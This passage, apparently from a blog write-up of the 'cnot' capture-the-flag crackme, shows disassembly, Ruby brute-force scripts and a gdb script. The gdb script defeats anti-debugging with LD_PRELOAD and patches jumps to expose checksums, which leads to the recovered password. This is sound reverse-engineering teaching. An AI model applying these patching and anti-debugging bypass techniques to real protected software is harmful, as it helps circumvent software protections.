<span class="lnr">6 </span>  <span class="Statement">return</span> i | (<span class="Constant">1</span> &lt;&lt; shift25(c)) | (<span class="Constant">1</span> &lt;&lt; shift20(c)) | (<span class="Constant">1</span> &lt;&lt; shift10(c)) | (<span class="Constant">1</span> &lt;&lt; shift0(c))
<span class="lnr">7 </span><span class="rubyDefine">end</span>
</pre>
<p>Basically, take various sequences of five bytes within the string, and set those bits in another value!</p>
<p>Now, how are these used? The first use is easy, and is actually the second-simplest check (after the length check). It looks like this (once again, I've removed obfuscating lines):</p>
<pre>
<span class="lnr">1 </span><span class="Statement">.text</span>:<span class="Constant">0040B04B</span>      <span class="Identifier">mov</span>     <span class="Identifier">rsi</span>, [<span class="Identifier">rbp</span>-<span class="Constant">80h</span>]  <span class="Comment">; rsi = last character</span>
<span class="lnr">2 </span><span class="Statement">.text</span>:<span class="Constant">0040B04F</span>      <span class="Identifier">mov</span>     <span class="Identifier">r15</span>, <span class="Identifier">rax</span>
<span class="lnr">3 </span><span class="Statement">.text</span>:<span class="Constant">0040B052</span>      <span class="Identifier">call</span>    <span class="Identifier">shifter</span>
<span class="lnr">4 </span><span class="Statement">.text</span>:<span class="Constant">0040B057</span>      <span class="Identifier">mov</span>     [<span class="Identifier">rbp</span>-<span class="Constant">70h</span>], <span class="Identifier">rax</span>
<span class="lnr">5 </span><span class="Statement">.text</span>:<span class="Constant">0040B066</span>      <span class="Identifier">mov</span>     <span class="Identifier">qword</span> <span class="Identifier">ptr</span> [<span class="Identifier">rbp</span>-<span class="Constant">78h</span>], <span class="Constant">0</span>
<span class="lnr">6 </span><span class="Statement">.text</span>:<span class="Constant">0040B06E</span>      <span class="Identifier">mov</span>     <span class="Identifier">dword</span> <span class="Identifier">ptr</span> [<span class="Identifier">rbp</span>-<span class="Constant">78h</span>], <span class="Constant">80000003h</span>
<span class="lnr">7 </span><span class="Statement">.text</span>:<span class="Constant">0040B075</span>      <span class="Identifier">mov</span>     <span class="Identifier">r15d</span>, [<span class="Identifier">rbp</span>-<span class="Constant">70h</span>]
<span class="lnr">8 </span><span class="Statement">.text</span>:<span class="Constant">0040B079</span>      <span class="Identifier">cmp</span>     <span class="Identifier">r15d</span>, [<span class="Identifier">rbp</span>-<span class="Constant">78h</span>]
<span class="lnr">9 </span><span class="Statement">.text</span>:<span class="Constant">0040B07D</span>      <span class="Identifier">jz</span>      <span class="Identifier">short</span> <span class="Identifier">loc_40B093</span> <span class="Comment">; Good jump</span>
</pre>
<p>So the last line of the string is the symbol that, when put through <tt>shifter()</tt>, produces 0x80000003? That's easy! Here's a quick Ruby program (I actually did it in a much more complicated way originally, by literally reversing the algorithm, but that was dumb):</p>
<pre>
<span class="lnr">1 </span><span class="Constant">0x20</span>.upto(<span class="Constant">0x7F</span>) <span class="Statement">do</span> |<span class="Identifier">i</span>|
<span class="lnr">2 </span><span class="Statement">if</span>(shifter(i) == <span class="Constant">0x80000003</span>)
<span class="lnr">3 </span>    puts(<span class="Special">&quot;</span><span class="Constant">Character: </span><span class="Special">#{</span>i.chr<span class="Special">}</span><span class="Special">&quot;</span>)
<span class="lnr">4 </span><span class="Statement">end</span>
<span class="lnr">5 </span><span class="Statement">end</span>
</pre>
<p>Which prints out:</p>
<pre>
<span class="lnr">1 </span><span class="perlVarPlain">ron@debian-x86</span> ~<span class="perlVarPlain">$</span> ruby ./do_shift.rb
<span class="lnr">2 </span><span class="Statement">Character:</span> ?
</pre>
<p>The last character is a question mark! Awesome!</p>
<p>After that, there are a bunch of checks (all remaining checks but two, in fact!) that all sort of look the same (and are implemented inline, not in functions). One of them you can find starting at 0x0040BEAD, and the logic is something like this:</p>
<pre>
<span class="lnr"> 1 </span>c = second_character;
<span class="lnr"> 2 </span><span class="Statement">if</span>(shifter(c, c) == shifter2(c, c))
<span class="lnr"> 3 </span>{
<span class="lnr"> 4 </span>  <span class="Statement">if</span>(shifter(c - <span class="Constant">0x20</span>, c - <span class="Constant">0x20</span>) != shifter2(c - <span class="Constant">0x20</span>, c - <span class="Constant">0x20</span>))
<span class="lnr"> 5 </span>  {
<span class="lnr"> 6 </span>    <span class="Statement">if</span>(c &lt; <span class="Special">'</span><span class="Constant">i</span><span class="Special">'</span> &amp;&amp; c &gt; <span class="Special">'</span><span class="Constant">d</span><span class="Special">'</span>)
<span class="lnr"> 7 </span>    {
<span class="lnr"> 8 </span>      acceptable_second_character(c);
<span class="lnr"> 9 </span>    }
<span class="lnr">10 </span>  }
<span class="lnr">11 </span>}
</pre>
<p>Implementing it in Ruby (this code will only work in 1.9 because of <tt>String.ord()</tt>) will look something like this:</p>
<pre>
<span class="lnr"> 1 </span><span class="Constant">?A</span>.upto(<span class="Constant">?Z</span>) <span class="Statement">do</span> |<span class="Identifier">i</span>|
<span class="lnr"> 2 </span>  i = i.ord
<span class="lnr"> 3 </span>  (set &amp;lt;&amp;lt; i) <span class="Statement">if</span>(shifter(i, i) == shifter2(i, i))
<span class="lnr"> 4 </span><span class="Statement">end</span>
<span class="lnr"> 5 </span><span class="Constant">?a</span>.ord.upto(<span class="Constant">?z</span>.ord) <span class="Statement">do</span> |<span class="Identifier">i</span>|
<span class="lnr"> 6 </span>  i = i.ord
<span class="lnr"> 7 </span>  (set &amp;lt;&amp;lt; i) <span class="Statement">if</span>(shifter(i, i) == shifter2(i, i))
<span class="lnr"> 8 </span><span class="Statement">end</span>
<span class="lnr"> 9 </span>
<span class="lnr">10 </span>set.each <span class="Statement">do</span> |<span class="Identifier">i</span>|
<span class="lnr">11 </span>  <span class="Statement">if</span>(shifter(i - <span class="Constant">0x20</span>, i - <span class="Constant">0x20</span>) != shifter2(i - <span class="Constant">0x20</span>, i - <span class="Constant">0x20</span>))
<span class="lnr">12 </span>    <span class="Statement">if</span>(i &amp;gt; <span class="Constant">?d</span>.ord &amp;amp;&amp;amp; i &lt; <span class="Constant">?i</span>.ord)
<span class="lnr">13 </span>      puts(i.chr)
<span class="lnr">14 </span>    <span class="Statement">end</span>
<span class="lnr">15 </span>  <span class="Statement">end</span>
<span class="lnr">16 </span><span class="Statement">end</span>
</pre>
<p>And running it:</p>
<pre>
<span class="lnr">1 </span><span class="perlVarPlain">$</span> ruby do_shift.rb
<span class="lnr">2 </span>h
</pre>
<p>Tells us that the only possibility is 'h'! We just solved the second letter!</p>
<p>There are a ton of checks like this, and I'm not going to go over the rest of them. The only other noteworthy "shift" check is the function defined here:</p>
<pre>
<span class="lnr">1 </span><span class="Statement">.text</span>:<span class="Constant">00406F32</span> <span class="Identifier">check_duplicates</span>
</pre>
<p>Which goes through a bunch of fields, and requires them to be equal to one another (eg, the sixth, eighth, and nineteenth characters are the same; the fourteenth and seventeenth letter are the same; etc).</p>
<p>When all's said and done, at the end of the 'shift' stuff, and including the character class checks, we have the following properties:</p>
<pre>
  Character 1  :: 'w'
  Character 2  :: 'h'
  Character 3  :: 'e'
  Character 4  :: Lowercase letter = the 10th character + 1
  Character 5  :: 'e'
  Character 6  :: Symbol, same as 8th and 19th characters
  Character 7  :: 'u', 'v', or 'w'
  Character 8  :: Symbol, same as 6th and 19th characters
  Character 9  :: Number
  Character 10 :: Lowercase
  Character 11 :: Letter
  Character 12 :: 'e'
  Character 13 :: 'n'
  Character 14 :: Uppercase, same as 17th
  Character 15 :: 'h', 'i', 'j', or 'k'
  Character 16 :: Letter, same as 18th
  Character 17 :: Uppercase, same as 14th
  Character 18 :: Letter, same as 16th
  Character 19 :: Symbol, same as 6th and 8th
  Character 20 :: 'n'
  Character 21 :: 'a' or 'A'
  Character 22 :: Letter
  Character 23 :: Uppercase
  Character 24 :: '?'
</pre>
<p>To put it another way:</p>
<pre>
  whe_e._.#__en_____.na__?
</pre>
<p>I reached this point... maybe 5am on Saturday night? The next hour me and Rylaan and others spent trying to make guesses. We were reasonably sure that the fourth letter was 'r', making the first word 'where'. That would make the tenth character a 'q' and the eleventh a 'u'. That worked out pretty well. And putting a 'u' in the seventh character (since it's much more likely than 'v' or 'w') and making the symbols into spaces made sense. That gave us:</p>
<pre>
  where u #quen_____ na__?
</pre>
<p>We also surmised that the last word was 'namE' or 'nAME' or something, but that turned out to be wrong so I won't show that part off. :)</p>
<p><a href="/blogdata/cnot.jpg">Here is what I had scribbled down</a> at this point.</p>
<p>Before bed, I wrote a quick Ruby script that would bruteforce guess all unknown characters, hoping to guess it by morning. That was also a failure. It barely got anywhere in the three hours I slept.</p>
<h3>Checksums</h3>
<p>I went to sleep on the hackerspace couch at 6am Saturday night, and woke up at 9am with the idea: "quantum"! "where u quantum name" or something. So I jumped up, ran to the computer, and realized that that made no sense. Crap! But I was already up, may as well work on it more. I spent the next little while updating Mak on my progress and thinking through the next step.</p>
<p>I spent a few hours working on these four checksum values:</p>
<pre>
<span class="lnr">1 </span><span class="Statement">.text</span>:<span class="Constant">0040AD41</span>                 <span class="Identifier">mov</span>     <span class="Identifier">dword</span> <span class="Identifier">ptr</span> [<span class="Identifier">rbp</span>-<span class="Constant">78h</span>], 0<span class="Identifier">FAF7F5FFh</span> <span class="Comment">; checksum1</span>
<span class="lnr">2 </span><span class="Statement">.text</span>:<span class="Constant">0040AD81</span>                 <span class="Identifier">mov</span>     <span class="Identifier">dword</span> <span class="Identifier">ptr</span> [<span class="Identifier">rbp</span>-<span class="Constant">90h</span>], 0<span class="Identifier">A40121Fh</span>  <span class="Comment">; checksum2</span>
<span class="lnr">3 </span><span class="Statement">.text</span>:<span class="Constant">0040AE00</span>                 <span class="Identifier">mov</span>     <span class="Identifier">dword</span> <span class="Identifier">ptr</span> [<span class="Identifier">rbp</span>-<span class="Constant">78h</span>], 0<span class="Identifier">FF77F7F6h</span> <span class="Comment">; checksum3</span>
<span class="lnr">4 </span><span class="Statement">.text</span>:<span class="Constant">0040AE4F</span>                 <span class="Identifier">mov</span>     <span class="Identifier">dword</span> <span class="Identifier">ptr</span> [<span class="Identifier">rbp</span>-<span class="Constant">90h</span>], 0<span class="Identifier">FD9E7F5Fh</span> <span class="Comment">; checksum4</span>
</pre>
<p>I spent hours trying to reverse how those were calculated before finally giving up. I was running out of ideas. I had eleven of the thirteen checks passing, with only the four checksums (in two checks) to go! Gah!</p>
<p>I noticed an interesting property in the checksums, though: the values I was generating were actually quite close to the real ones, compared to what they'd originally been! If I changed a known "good" character to a bad one, it got worse. All I had to do was figure out a way to either generate the checksums myself or pull them from memory! At this point in the game, generating them myself was pretty much outta the question, so I had to find a way to extract them, and quickly!</p>
<p>I won't bore you with the failed attempts, only the successful attempt. It's a Ruby program, and it looks something like this (check out the sweet syntax highlighting, I even highlighted the gdbinit file properly; that wasn't easy!):</p>
<pre>
<span class="lnr">  1 </span><span class="rubyDefine">def</span> <span class="Identifier">count_bits</span>(i)
<span class="lnr">  2 </span>  bits = <span class="Constant">0</span>
<span class="lnr">  3 </span>
<span class="lnr">  4 </span>  <span class="Statement">while</span>(i != <span class="Constant">0</span>) <span class="Statement">do</span>
<span class="lnr">  5 </span>    <span class="Statement">if</span>((i &amp; <span class="Constant">1</span>) == <span class="Constant">1</span>)
<span class="lnr">  6 </span>      bits += <span class="Constant">1</span>
<span class="lnr">  7 </span>    <span class="Statement">end</span>
<span class="lnr">  8 </span>
<span class="lnr">  9 </span>    i &gt;&gt;= <span class="Constant">1</span>
<span class="lnr"> 10 </span>  <span class="Statement">end</span>
<span class="lnr"> 11 </span>
<span class="lnr"> 12 </span>  <span class="Statement">return</span> bits
<span class="lnr"> 13 </span><span class="rubyDefine">end</span>
<span class="lnr"> 14 </span>
<span class="lnr"> 15 </span><span class="rubyDefine">def</span> <span class="Identifier">go</span>(str)
<span class="lnr"> 16 </span>  puts(<span class="Special">&quot;</span><span class="Constant"> String: '</span><span class="Special">#{</span>str<span class="Special">}</span><span class="Constant">'</span><span class="Special">&quot;</span>)
<span class="lnr"> 17 </span>
<span class="lnr"> 18 </span>  <span class="Comment"># Write the current test string to a file called 'stdin'</span>
<span class="lnr"> 19 </span>  <span class="Type">File</span>.open(<span class="Special">&quot;</span><span class="Constant">./stdin</span><span class="Special">&quot;</span>, <span class="Special">&quot;</span><span class="Constant">w</span><span class="Special">&quot;</span>) <span class="Statement">do</span> |<span class="Identifier">f</span>|
<span class="lnr"> 20 </span>    f.write(str)
<span class="lnr"> 21 </span>  <span class="Statement">end</span>
<span class="lnr"> 22 </span>
<span class="lnr"> 23 </span>  <span class="Type">File</span>.open(<span class="Special">&quot;</span><span class="Constant">./gdb</span><span class="Special">&quot;</span>, <span class="Special">&quot;</span><span class="Constant">w</span><span class="Special">&quot;</span>) <span class="Statement">do</span> |<span class="Identifier">f</span>|
<span class="lnr"> 24 </span>  f.write &lt;&lt;<span class="Special">EOF</span>
<span class="lnr"> 25 </span><span class="Comment"># Set up the environment</span>
<span class="lnr"> 26 </span><span class="Statement">set</span> disassembly-flavor intel
<span class="lnr"> 27 </span><span class="Statement">set</span> <span class="Constant">confirm</span> off
<span class="lnr"> 28 </span>
<span class="lnr"> 29 </span><span class="Comment"># Disable the anti-debugging</span>
<span class="lnr"> 30 </span><span class="Statement">set</span> <span class="Constant">environment</span> LD_PRELOAD ./overload.so
<span class="lnr"> 31 </span>
<span class="lnr"> 32 </span><span class="Comment"># Read from the &quot;stdin&quot; file, which is where we're writing the data</span>
<span class="lnr"> 33 </span><span class="Statement">set</span> <span class="Constant">args</span> &lt; ./stdin
<span class="lnr"> 34 </span>
<span class="lnr"> 35 </span><span class="Comment"># Break at the first check (the length)</span>
<span class="lnr"> 36 </span>b *<span class="Constant">0x040AC83</span>
<span class="lnr"> 37 </span><span class="Statement">run</span>
<span class="lnr"> 38 </span>
<span class="lnr"> 39 </span><span class="Comment"># Make all 4 checksums run by forcing jumps to happen</span>
<span class="lnr"> 40 </span><span class="Statement">set</span> {char}<span class="Constant">0x40AD50</span> = <span class="Constant">0xeb</span>
<span class="lnr"> 41 </span><span class="Statement">set</span> {char}<span class="Constant">0x40AE0F</span>  = <span class="Constant">0xeb</span>
<span class="lnr"> 42 </span>
<span class="lnr"> 43 </span><span class="Comment"># Checksum 1 and 2</span>
<span class="lnr"> 44 </span><span class="Statement">set</span> {int}<span class="Constant">0x040ADD3</span> = <span class="Constant">0x90909090</span>
<span class="lnr"> 45 </span><span class="Statement">set</span> {short}<span class="Constant">0x040ADD7</span> = <span class="Constant">0x9090</span>
<span class="lnr"> 46 </span>
<span class="lnr"> 47 </span><span class="Comment"># Checksum 3 and 4</span>
<span class="lnr"> 48 </span><span class="Statement">set</span> {int}<span class="Constant">0x040AEA1</span> = <span class="Constant">0x90909090</span>
<span class="lnr"> 49 </span><span class="Statement">set</span> {short}<span class="Constant">0x040AEA5</span> = <span class="Constant">0x9090</span>
<span class="lnr"> 50 </span>
<span class="lnr"> 51 </span><span class="Comment"># TODO: Test once mak finishes the python tool</span>
<span class="lnr"> 52 </span><span class="Comment"># Check adjacent characters</span>
<span class="lnr"> 53 </span><span class="Statement">set</span> {int}<span class="Constant">0x040AF08</span> = <span class="Constant">0x90909090</span>
<span class="lnr"> 54 </span><span class="Statement">set</span> {short}<span class="Constant">0x040AF0C</span> = <span class="Constant">0x9090</span>
<span class="lnr"> 55 </span>
<span class="lnr"> 56 </span><span class="Comment"># Checksum1</span>
<span class="lnr"> 57 </span>b *<span class="Constant">0x000000000040AD4C</span>
<span class="lnr"> 58 </span>
<span class="lnr"> 59 </span><span class="Comment"># Checksum2</span>
<span class="lnr"> 60 </span>b *<span class="Constant">0x000000000040AD92</span>
<span class="lnr"> 61 </span>
<span class="lnr"> 62 </span><span class="Comment"># Checksum3</span>
<span class="lnr"> 63 </span>b *<span class="Constant">0x000000000040AE0F</span>
<span class="lnr"> 64 </span>
<span class="lnr"> 65 </span><span class="Comment"># Checksum4</span>
<span class="lnr"> 66 </span>b *<span class="Constant">0x000000000040AE60</span>
<span class="lnr"> 67 </span>
<span class="lnr"> 68 </span>cont
<span class="lnr"> 69 </span>
<span class="lnr"> 70 </span><span class="Constant">print</span>/x <span class="Identifier">$r15</span>
<span class="lnr"> 71 </span>cont
<span class="lnr"> 72 </span>
<span class="lnr"> 73 </span><span class="Constant">print</span>/x <span class="Identifier">$r15</span>
<span class="lnr"> 74 </span>cont
<span class="lnr"> 75 </span>
<span class="lnr"> 76 </span><span class="Constant">print</span>/x <span class="Identifier">$r15</span>
<span class="lnr"> 77 </span>cont
<span class="lnr"> 78 </span>
<span class="lnr"> 79 </span><span class="Constant">print</span>/x <span class="Identifier">$r15</span>
<span class="lnr"> 80 </span>cont
<span class="lnr"> 81 </span>
<span class="lnr"> 82 </span><span class="Comment"># We continue before quitting so we can make sure 'Success!' is printed</span>
<span class="lnr"> 83 </span><span class="Statement">quit</span>
<span class="lnr"> 84 </span>
<span class="lnr"> 85 </span><span class="Special">EOF</span>
<span class="lnr"> 86 </span>  <span class="Statement">end</span>
<span class="lnr"> 87 </span>
<span class="lnr"> 88 </span>  checksums = []
<span class="lnr"> 89 </span>
<span class="lnr"> 90 </span>  <span class="Comment"># Our list of known-good checksums</span>
<span class="lnr"> 91 </span>  good_checksums = [<span class="Constant">0xFAF7F5FF</span>, <span class="Constant">0xA40121F</span>, <span class="Constant">0xFF77F7F6</span>, <span class="Constant">0xFD9E7F5F</span>]
<span class="lnr"> 92 </span>
<span class="lnr"> 93 </span>  <span class="Comment"># Run gdb with our new config file</span>
<span class="lnr"> 94 </span>  <span class="Type">IO</span>.popen(<span class="Special">&quot;</span><span class="Constant">gdb -x ./gdb ./cnot</span><span class="Special">&quot;</span>) {|<span class="Identifier">p</span>|
<span class="lnr"> 95 </span>    <span class="Statement">loop</span> <span class="Statement">do</span>
<span class="lnr"> 96 </span>      line = p.gets
<span class="lnr"> 97 </span>      <span class="Statement">if</span>(line.nil?)
<span class="lnr"> 98 </span>        <span class="Statement">break</span>
<span class="lnr"> 99 </span>      <span class="Statement">end</span>
<span class="lnr">100 </span>      <span class="Statement">if</span>(line =~ <span class="Special">/</span><span class="Constant"> = </span><span class="Special">/</span>)
<span class="lnr">101 </span>        checksums &lt;&lt; line.gsub(<span class="Special">/</span><span class="Special">.</span><span class="Special">*</span><span class="Constant"> = </span><span class="Special">/</span>, <span class="Special">''</span>).chomp.to_i(<span class="Constant">16</span>)
<span class="lnr">102 </span>      <span class="Statement">end</span>
<span class="lnr">103 </span>
<span class="lnr">104 </span>      <span class="Statement">if</span>(line =~ <span class="Special">/</span><span class="Constant">Wrong</span><span class="Special">/</span>)
<span class="lnr">105 </span>        puts(line)
<span class="lnr">106 </span>        puts(<span class="Special">&quot;</span><span class="Constant">ERROR!</span><span class="Special">&quot;</span>)
<span class="lnr">107 </span>        <span class="Statement">exit</span>
<span class="lnr">108 </span>      <span class="Statement">end</span>
<span class="lnr">109 </span>    <span class="Statement">end</span>
<span class="lnr">110 </span>  }
<span class="lnr">111 </span>
<span class="lnr">112 </span>  puts(<span class="Special">&quot;</span><span class="Constant"> Expected: %08x %08x %08x %08x</span><span class="Special">&quot;</span> % [good_checksums[<span class="Constant">0</span>], good_checksums[<span class="Constant">1</span>], good_checksums[<span class="Constant">2</span>], good_checksums[<span class="Constant">3</span>]])
<span class="lnr">113 </span>  puts(<span class="Special">&quot;</span><span class="Constant"> Received: %08x %08x %08x %08x</span><span class="Special">&quot;</span> % [checksums[<span class="Constant">0</span>],      checksums[<span class="Constant">1</span>],      checksums[<span class="Constant">2</span>],      checksums[<span class="Constant">3</span>]])
<span class="lnr">114 </span>
<span class="lnr">115 </span>  <span class="Comment"># Count the different bits and print the difference</span>
<span class="lnr">116 </span>  diff = count_bits(good_checksums[<span class="Constant">0</span>] ^ checksums[<span class="Constant">0</span>]) + count_bits(good_checksums[<span class="Constant">2</span>] ^ checksums[<span class="Constant">2</span>]) + count_bits(good_checksums[<span class="Constant">1</span>] ^ checksums[<span class="Constant">1</span>]) + count_bits(good_checksums[<span class="Constant">3</span>] ^ checksums[<span class="Constant">3</span>])
<span class="lnr">117 </span>  puts(<span class="Special">&quot;</span><span class="Constant"> Difference: %d</span><span class="Special">&quot;</span> % diff)
<span class="lnr">118 </span>  puts()
<span class="lnr">119 </span>
<span class="lnr">120 </span>  <span class="Comment"># Return the difference so we can save the best one</span>
<span class="lnr">121 </span>  <span class="Statement">return</span> diff
<span class="lnr">122 </span><span class="rubyDefine">end</span>
<span class="lnr">123 </span>
<span class="lnr">124 </span>diffs = {}
<span class="lnr">125 </span>
<span class="lnr">126 </span><span class="Constant">?0</span>.upto(<span class="Constant">?9</span>) <span class="Statement">do</span> |<span class="Identifier">i</span>|
<span class="lnr">127 </span>  i = i.chr
<span class="lnr">128 </span>
<span class="lnr">129 </span>  str = <span class="Special">&quot;</span><span class="Constant">where u </span><span class="Special">#{</span>i<span class="Special">}</span><span class="Constant">quenTisTs naME?</span><span class="Special">&quot;</span>
<span class="lnr">130 </span>    diff = go(str)
<span class="lnr">131 </span>
<span class="lnr">132 </span>    diffs[diff] = diffs[diff] || []
<span class="lnr">133 </span>    diffs[diff] &lt;&lt; <span class="Special">&quot;</span><span class="Special">#{</span>i<span class="Special">}</span><span class="Constant"> :: </span><span class="Special">#{</span>str<span class="Special">}</span><span class="Special">&quot;</span>
<span class="lnr">134 </span>  <span class="Statement">end</span>
<span class="lnr">135 </span>end
<span class="lnr">136 </span>
<span class="lnr">137 </span><span class="Comment"># Print the best option(s)</span>
<span class="lnr">138 </span>i = <span class="Constant">0</span>
<span class="lnr">139 </span><span class="Statement">loop</span> <span class="Statement">do</span>
<span class="lnr">140 </span>  <span class="Statement">if</span>(!diffs[i].nil?)
<span class="lnr">141 </span>    puts(<span class="Special">&quot;</span><span class="Constant">== </span><span class="Special">#{</span>i<span class="Special">}</span><span class="Constant"> ==</span><span class="Special">\n</span><span class="Special">#{</span>diffs[i].join(<span class="Special">&quot;</span><span class="Special">\n</span><span class="Special">&quot;</span>)<span class="Special">}</span><span class="Special">&quot;</span>)
<span class="lnr">142 </span>    <span class="Statement">exit</span>
<span class="lnr">143 </span>  <span class="Statement">end</span>
<span class="lnr">144 </span>
<span class="lnr">145 </span>  i += <span class="Constant">1</span>
<span class="lnr">146 </span><span class="Statement">end</span>
</pre>
<p>And in that particular configuration, the program attempts every possible number for the start of the third word:</p>
<pre>
<span class="lnr"> 1 </span><span class="perlVarPlain">$</span> ruby ./cs.rb
<span class="lnr"> 2 </span><span class="Statement"> String:</span> <span class="Constant">'</span><span class="Constant">where u 0quenTisTs naME?</span><span class="Constant">'</span>
<span class="lnr"> 3 </span><span class="Statement"> Expected:</span> faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
<span class="lnr"> 4 </span><span class="Statement"> Received:</span> fafff5ff 1240021f f377f5e7 fd92ff7f
<span class="lnr"> 5 </span><span class="Statement"> Difference:</span> <span class="Constant">13</span>
<span class="lnr"> 6 </span>
<span class="lnr"> 7 </span><span class="Statement"> String:</span> <span class="Constant">'</span><span class="Constant">where u 1quenTisTs naME?</span><span class="Constant">'</span>
<span class="lnr"> 8 </span><span class="Statement"> Expected:</span> faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
<span class="lnr"> 9 </span><span class="Statement"> Received:</span> fafff5ff 1240021f f377fde6 fd927fff
<span class="lnr">10 </span><span class="Statement"> Difference:</span> <span class="Constant">13</span>
<span class="lnr">11 </span>
<span class="lnr">12 </span><span class="Statement"> String:</span> <span class="Constant">'</span><span class="Constant">where u 2quenTisTs naME?</span><span class="Constant">'</span>
<span class="lnr">13 </span><span class="Statement"> Expected:</span> faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
<span class="lnr">14 </span><span class="Statement"> Received:</span> fafff5ff 1240021f f377fde6 fd927f7f
<span class="lnr">15 </span><span class="Statement"> Difference:</span> <span class="Constant">12</span>
<span class="lnr">16 </span>
<span class="lnr">17 </span><span class="Statement"> String:</span> <span class="Constant">'</span><span class="Constant">where u 3quenTisTs naME?</span><span class="Constant">'</span>
<span class="lnr">18 </span><span class="Statement"> Expected:</span> faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
<span class="lnr">19 </span><span class="Statement"> Received:</span> fafff5ff 1240021f f777f5f6 fd967f7f
<span class="lnr">20 </span><span class="Statement"> Difference:</span> <span class="Constant">8</span>
<span class="lnr">21 </span>
<span class="lnr">22 </span><span class="Statement"> String:</span> <span class="Constant">'</span><span class="Constant">where u 4quenTisTs naME?</span><span class="Constant">'</span>
<span class="lnr">23 </span><span class="Statement"> Expected:</span> faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
<span class="lnr">24 </span><span class="Statement"> Received:</span> fafff5ff 1240021f f377f5ee ffd27f7f
<span class="lnr">25 </span><span class="Statement"> Difference:</span> <span class="Constant">14</span>
<span class="lnr">26 </span>
<span class="lnr">27 </span><span class="Statement"> String:</span> <span class="Constant">'</span><span class="Constant">where u 5quenTisTs naME?</span><span class="Constant">'</span>
<span class="lnr">28 </span><span class="Statement"> Expected:</span> faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
<span class="lnr">29 </span><span class="Statement"> Received:</span> fbfff5ff 1240021f f37ff5e6 fd927f7f
<span class="lnr">30 </span><span class="Statement"> Difference:</span> <span class="Constant">13</span>
<span class="lnr">31 </span>
<span class="lnr">32 </span><span class="Statement"> String:</span> <span class="Constant">'</span><span class="Constant">where u 6quenTisTs naME?</span><span class="Constant">'</span>
<span class="lnr">33 </span><span class="Statement"> Expected:</span> faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
<span class="lnr">34 </span><span class="Statement"> Received:</span> fafff5ff 1240021f f377fde6 fd927f7f
<span class="lnr">35 </span><span class="Statement"> Difference:</span> <span class="Constant">12</span>
<span class="lnr">36 </span>
<span class="lnr">37 </span><span class="Statement"> String:</span> <span class="Constant">'</span><span class="Constant">where u 7quenTisTs naME?</span><span class="Constant">'</span>
<span class="lnr">38 </span><span class="Statement"> Expected:</span> faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
<span class="lnr">39 </span><span class="Statement"> Received:</span> fefff5ff 1240021f f377f5e6 fd927f7f
<span class="lnr">40 </span><span class="Statement"> Difference:</span> <span class="Constant">12</span>
<span class="lnr">41 </span>
<span class="lnr">42 </span><span class="Statement"> String:</span> <span class="Constant">'</span><span class="Constant">where u 8quenTisTs naME?</span><span class="Constant">'</span>
<span class="lnr">43 </span><span class="Statement"> Expected:</span> faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
<span class="lnr">44 </span><span class="Statement"> Received:</span> fafff5ff 1240021f f3f7f5e6 fdd27f7f
<span class="lnr">45 </span><span class="Statement"> Difference:</span> <span class="Constant">13</span>
<span class="lnr">46 </span>
<span class="lnr">47 </span><span class="Statement"> String:</span> <span class="Constant">'</span><span class="Constant">where u 9quenTisTs naME?</span><span class="Constant">'</span>
<span class="lnr">48 </span><span class="Statement"> Expected:</span> faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
<span class="lnr">49 </span><span class="Statement"> Received:</span> fafff5ff 1240021f f377f5e6 fd927f7f
<span class="lnr">50 </span><span class="Statement"> Difference:</span> <span class="Constant">11</span>
<span class="lnr">51 </span>
<span class="lnr">52 </span>== <span class="Constant">8</span> ==
<span class="lnr">53 </span><span class="Constant">3</span> :: where u 3quenTisTs naME?
</pre>
<p>As you can see, the best result we got from this was eight bits different, and the number '3' (which tuned out to be correct)!</p>
<p>We did this over and over for different letters, occasionally repeating letters if we wound up getting bad results, getting closer. I considered writing an A* search or something, I bet we could have optimized this pretty good, but that turned out to not be necessary. Eventually, I was reasonably sure everything was right except for the last two letters (in 'naME'), so I decided to try every possible pairing:</p>
<pre>
<span class="lnr"> 1 </span><span class="Constant">?a</span>.upto(<span class="Constant">?z</span>) <span class="Statement">do</span> |<span class="Identifier">i</span>|
<span class="lnr"> 2 </span>  i = i.chr
<span class="lnr"> 3 </span>  <span class="Constant">?A</span>.upto(<span class="Constant">?Z</span>) <span class="Statement">do</span> |<span class="Identifier">j</span>|
<span class="lnr"> 4 </span>    j = j.chr
<span class="lnr"> 5 </span>    str = <span class="Special">&quot;</span><span class="Constant">where u 3quenTisTs na</span><span class="Special">#{</span>i<span class="Special">}#{</span>j<span class="Special">}</span><span class="Constant">?</span><span class="Special">&quot;</span>
<span class="lnr"> 6 </span>    diff = go(str)
<span class="lnr"> 7 </span>
<span class="lnr"> 8 </span>    diffs[diff] = diffs[diff] || []
<span class="lnr"> 9 </span>    diffs[diff] &amp;lt;&amp;lt; <span class="Special">&quot;</span><span class="Special">#{</span>i<span class="Special">}</span><span class="Constant"> :: </span><span class="Special">#{</span>str<span class="Special">}</span><span class="Special">&quot;</span>
<span class="lnr">10 </span>  <span class="Statement">end</span>
<span class="lnr">11 </span><span class="Statement">end</span>
</pre>
<p>And eventually, it printed out:</p>
<pre>
<span class="lnr"> 1 </span><span class="perlVarPlain">$</span> ruby cs.rb | tail
<span class="lnr"> 2 </span><span class="Statement">Received:</span> 7ef7f7ff 0240221f f7f7f5f6 fd96ffff
<span class="lnr"> 3 </span><span class="Statement">Difference:</span> <span class="Constant">13</span>
<span class="lnr"> 4 </span>
<span class="lnr"> 5 </span><span class="Statement">String:</span> <span class="Constant">'</span><span class="Constant">where u 3quenTisTs nazZ?</span><span class="Constant">'</span>
<span class="lnr"> 6 </span><span class="Statement">Expected:</span> faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
<span class="lnr"> 7 </span><span class="Statement">Received:</span> 7ef7f5ff 0240421f f777f5fe fd977f7f
<span class="lnr"> 8 </span><span class="Statement">Difference:</span> <span class="Constant">11</span>
<span class="lnr"> 9 </span>
<span class="lnr">10 </span>== <span class="Constant">0</span> ==
<span class="lnr">11 </span>o :: where u 3quenTisTs naoW?
</pre>
<p>The answer! I punched it into the site, and it worked. omg!!! #bestfeelingever</p>
<h2>Conclusion</h2>
